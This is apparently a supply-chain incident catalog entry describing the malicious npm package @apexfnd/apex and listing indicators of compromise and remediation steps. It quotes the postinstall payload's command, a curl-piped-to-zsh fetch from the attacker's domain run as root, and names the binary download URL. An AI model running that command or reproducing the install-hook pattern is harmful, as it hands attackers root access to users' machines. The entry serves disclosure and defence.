Malicious code in @apexfnd/apex (npm)
The npm package @apexfnd/apex contained a malicious postinstall script that executed remote code at install time. On macOS, it prompted for administrator credentials and executed a shell script as root; on all platforms, it downloaded and executed an unsigned binary from attacker-controlled infrastructure.
- Disclosed
- Last updated
- Blast radius
- All npm users who installed @apexfnd/apex during the malicious distribution period; macOS users face elevated risk due to root-privilege execution.
- Ecosystems
- Attack vectors
- Affected entities
- @apexfnd/apexnpm package containing malicious postinstall script
The npm package @apexfnd/apex shipped a postinstall script (install.cjs) that performed install-time remote-code-execution actions. On macOS, the script wrote an AppleScript to /tmp and invoked osascript to run curl -fsSL https://update.apex-arena-router.com/loader.sh | zsh with administrator privileges, prompting the user for their password and executing the returned shell script as root.\n\nOn all platforms, the package unconditionally downloaded a platform-specific binary from https://github.com/Apex-Foundation/copilot/releases/download/v1.0.0/apex- and wrote it to the package's bin path with 0755 permissions, without any hash or signature verification. The package's declared publisher metadata (homepage omp.sh, repository can1357/oh-my-pi) did not match the actual destinations (update.apex-arena-router.com, github.com/Apex-Foundation/copilot), indicating the fetched content was attacker-controlled.\n\nThe incident was identified and credited to the OpenSSF malicious-packages project. The package has been removed from npm distribution.
Indicators of compromise
- Packages
- @apexfnd/apex
- Domains
- update.apex-arena-router.com
- github.com
Remediation
- Immediately uninstall @apexfnd/apex from all systems
- Audit systems that installed this package for unauthorized changes, especially on macOS where root-level execution occurred
- Review shell history and system logs for evidence of the remote shell script execution
- Change passwords on any systems where the installer was prompted for administrator credentials
- Monitor for suspicious network connections to update.apex-arena-router.com or downloads from github.com/Apex-Foundation/copilot
- Use npm audit to identify any remaining malicious packages in your dependency tree
Sources
- GitHub Advisory GHSA-r3xx-75gm-53pm · GitHub Advisory Database
Cite this entry
"Malicious code in @apexfnd/apex (npm)." supplychainattack.org, Supply Chain Attack Incident Catalog. Disclosed July 28, 2026; last updated July 28, 2026. https://supplychainattack.org/incident/malicious-code-in-apexfnd-apex-npm-velncv
Suggest a correction
Found an error or have a newer source? Corrections to factual errors take priority over new entries.
Related incidents
- activecritical
Malware in @omniwatch-wick/cli
Malware discovered in the npm package @omniwatch-wick/cli. Systems with this package installed are considered fully compromised and require immediate remediation.
npmCompromised package - activecritical
Malware in chain-manager
Malware discovered in the npm package chain-manager. Systems with this package installed or running are considered fully compromised and require immediate remediation.
npmCompromised package - containedcritical
Malicious code in toll_free (npm)
The npm package toll_free version 1.0.1 was identified as malicious by the OpenSSF Package Analysis project. The package executes commands associated with malicious behavior.
npmCompromised package - containedcritical
Malicious code in blots (npm)
The npm package 'blots' version 2.1.0 was identified by the OpenSSF Package Analysis project as containing malicious code that executes commands associated with malicious behavior. The package has been flagged in the OpenSSF malicious packages database.
npmCompromised package